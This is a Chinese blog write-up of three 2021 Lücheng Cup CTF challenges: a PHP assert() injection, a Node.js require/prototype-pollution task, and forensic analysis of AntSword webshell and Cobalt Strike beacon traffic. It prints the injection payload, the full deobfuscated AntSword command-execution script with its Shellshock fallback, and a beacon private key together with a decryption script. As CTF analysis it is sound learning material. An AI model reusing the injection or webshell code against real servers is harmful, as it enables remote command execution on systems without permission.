2021绿城杯

前言

这次比赛,难得很难,简单的很简单,然后由于那天要上课,题目没做啥,后面下课一直在看cms,导致looking for treasure没去找,以为也是js的难题,后来看到很多人解出来,就去找,可是时间已经来不及了=-=,不过今天主要是学习一下这个流量分析,感觉挺有意思的

ezphp

签到题,很简单,就是assert()函数,然后跟前两buu刚做的那题考点差不多,闭合前面的内容,然后重新进行命令执行

'.system("cd /var/www/html/;git status;").'about

looking for treasure

defcon的原题

https://blog.zeddyu.info/2020/10/15/Defcon28final/

题解分析
第一个漏洞点是这里,直接利用包含,包含的时候如果报错,会直接将报错内容报出

let json_library = require(req.params.library)

这里存在一个js的原型链污染
img
直接搜defcon nooode即可

流量取证

题目放出hint,说是蚁剑,于是查询了一下
img

发现往这边post了很多数据,但是经过混淆,发现了secret.zip
img找到压缩包,然后将其导出用010editer打开,

img 发现需要密码 img

那么密码肯定就在被混淆的那些数据当中了,所以需要知道如何解密,使用python写一下脚本

import base64
import zlib
def decode_config_cmd(basestr):
return zlib.decompress(base64.b64decode(basestr),-zlib.MAX_WBITS)
print(decode_config_cmd('c0gtS8zRcEivysxLy0ksSdVISixONTOJT0lNzk9J1VCJD/APDomON6hIMzA1TzWwMExJs7CwiNXU1LQGAA=='))

解压结果:

b'@eval(@gzinflate(base64_decode($_POST[_0xf057e081df888])));'

但是往下继续解密,没发现其他有用的数据,再继续往下看看数据包的时候,就发现,有个对secret.zip进行压缩的操作
img

针对这个数据,进行解密看看

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split("/;|:/", $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
}
$tmdir = $item . "/.fedd1";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}
function asenc($out)
{
return $out;
}
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "36" . "4f2";
echo @asenc($output);
echo "42" . "ff1";
}
ob_start();
try {
$p = base64_decode(substr($_POST["f861d394170244"], 2));
$s = base64_decode(substr($_POST["ufbd335828f30f"], 2));
$envstr = @base64_decode(substr($_POST["b430b310838a93"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f)
{
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return function_exists($f) && is_callable($f) && !in_array($f, $d);
}
function runshellshock($d, $c)
{
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; {$c} >{$tmp} 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print $output;
return True;
}
}
return False;
}
function runcmd($c)
{
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print @shell_exec($c);
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print join("\r\n", $o);
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print @fgets($fp, 2048);
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print @fgets($io[1], 2048);
}
while (!@feof($io[2])) {
print @fgets($io[2], 2048);
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print $ret;
} else {
$ret = 127;
}
return $ret;
}
$ret = @runcmd($r . " 2>&1");
print $ret != 0 ? "ret={$ret}" : "";
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput();
die;

关键代码就这几行

$p = base64_decode(substr($_POST["f861d394170244"], 2));
$s = base64_decode(substr($_POST["ufbd335828f30f"], 2));
$envstr = @base64_decode(substr($_POST["b430b310838a93"], 2));

对post的数据从第二位以后开始截取,然后进行base64解密得到,那么-后面的应该就是密码了

b'cmd'
b'cd /d "D:\\\\phpstudy_pro\\\\WWW\\\\secret"&"C:\\Program Files\\7-Zip\\7z.exe" x secret.zip -pP4Uk6qkh6Gvqwg3y&echo 378df2c234&cd&echo fb7f8f'

做到这里,我以为已经快结束了,没想到还有–,虽然说这个文件可以用了,但是他就只是一个cs的beacon模式密钥,所以还需要从下面的beacon的流量中做一下文章:
https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/cs-mu-biao-shang-xian-guo-cheng
大概说一下,使用beacon模式传输数据,会对数据进行加密,并且是RSA非对称加密,并且公钥和私钥都会存储在这个key当中,所以先针对key进行公钥和私钥的解出,然后再去解密其他beacon流量,应该就可以找到flag
使用了一下网上的项目,但是java程序一直跑不起来,等解决了再来补充这一部分的操作,
拿到加密的私钥以后

MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIqpewO+lqNYuxQhQwq7pMdM7CP92uer5FkUA41vPaelrbpqr1ujH95Q7Rfqt7E7Vc+Xx5dYQCoRaysjNm+UfuRcFocLHG2ugf4+/NEX/NFE+gI279wXfC+zZ0MGFMQIAC1TClaiMvALwMB9nBuXK/CErC754co9cIbaIkCl/sRXAgMBAAECgYBqlSFYXHwfrMmIDJUiv99FzovIko1b/FV2Xxrn8TS8E265Vt3Zm0aYtS25b5Ko6YnpGqqxW4VekKsGqndiRwtNSbIilU1EqWqfdBmucptnISgDdx+ofWbInTRl+leBzDW4Zsl2sMvMmmyhsc/X35pGbH2lRXXEegPzradtyBwhUQJBANt2IC4p5CQW2UxXVjmrTbA+CuJLfnZE+97HCjzZPi/gUiF4akFQx46x0vT1RmcalqUg1Prl7OoKb05Lmwm0XukCQQChv4blpfqVcdz9X6MGJqeaiC22EPZn+2dhm4PbZIhurs57M7+dqlYxoG6LneU0H1N8ieeH9fb9ixG/8+F7iIE/AkEAzyzYfDv3r0oSoMriD1bz5CjtxWtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypH6A+UAslK5V/1L1XXLankIZmmJqcr4QJAGUAkF//EUcY3wJpIgfJQ4e/2auDVBsCZkAROHlbgcZ76fwNCG6P21sJ733Hj0TI+v0dsDK6aQ1SNjdDN15Ik0wJBAK7C5l0QF8NRlIw2+tPUSDVy/PRUVmpRRd4cD4HXNtVMg0Dr3L7vx9PeyJH0EFuaVWItdBDILP0HzUR1/wk5ZFY=

贴一下大佬的脚本

import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import hexdump

PRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY-----
{}
-----END RSA PRIVATE KEY-----"""

encode_data = "bGOniQ5nfrSmAW9fgdZSCC+42t5xvQt+B4SVEu6Q8MvC4rPn/OThepmxP6GjDiP1wCUB1EE3sqeXkwdHHMd9wikZhiQnjT9AB3e2RNacCVF+8v/nj/Rv85fSD2Phfc/wsaAjld9Fy8ZJJKz1wPwPY6lTxArMGFtX7W+VW/gzujI="
base64_key = """MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIqpewO+lqNYuxQh
Qwq7pMdM7CP92uer5FkUA41vPaelrbpqr1ujH95Q7Rfqt7E7Vc+Xx5dYQCoRaysj
Nm+UfuRcFocLHG2ugf4+/NEX/NFE+gI279wXfC+zZ0MGFMQIAC1TClaiMvALwMB9
nBuXK/CErC754co9cIbaIkCl/sRXAgMBAAECgYBqlSFYXHwfrMmIDJUiv99FzovI
ko1b/FV2Xxrn8TS8E265Vt3Zm0aYtS25b5Ko6YnpGqqxW4VekKsGqndiRwtNSbIi
lU1EqWqfdBmucptnISgDdx+ofWbInTRl+leBzDW4Zsl2sMvMmmyhsc/X35pGbH2l
RXXEegPzradtyBwhUQJBANt2IC4p5CQW2UxXVjmrTbA+CuJLfnZE+97HCjzZPi/g
UiF4akFQx46x0vT1RmcalqUg1Prl7OoKb05Lmwm0XukCQQChv4blpfqVcdz9X6MG
JqeaiC22EPZn+2dhm4PbZIhurs57M7+dqlYxoG6LneU0H1N8ieeH9fb9ixG/8+F7
iIE/AkEAzyzYfDv3r0oSoMriD1bz5CjtxWtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypH
6A+UAslK5V/1L1XXLankIZmmJqcr4QJAGUAkF//EUcY3wJpIgfJQ4e/2auDVBsCZ
kAROHlbgcZ76fwNCG6P21sJ733Hj0TI+v0dsDK6aQ1SNjdDN15Ik0wJBAK7C5l0Q
F8NRlIw2+tPUSDVy/PRUVmpRRd4cD4HXNtVMg0Dr3L7vx9PeyJH0EFuaVWItdBDI
LP0HzUR1/wk5ZFY="""

private_key = RSA.import_key(PRIVATE_KEY.format(base64_key).encode())
cipher = PKCS1_v1_5.new(private_key)
ciphertext = cipher.decrypt(base64.b64decode(encode_data), 0)

得到

AES key:7c83bf30a6ad2dc410040d33e1399cf6
HMAC key:a77945b3a56687a39f90683cb24d00c2

然后利用这两个aes密钥对返回的内容进行解密发现读取了flag.txt,于是再去寻找一下返回流量

img

在下条流量中就发现了返回的数据,提取其base64形式,再对其进行解码操作
img

即可拿到flag
img

看了一下大佬的题解,发现自己昨天就是困在套娃代码不知道如何解开的步骤

Author

vague huang

Posted on

2021-09-30

Updated on

2021-10-02

Licensed under

Comments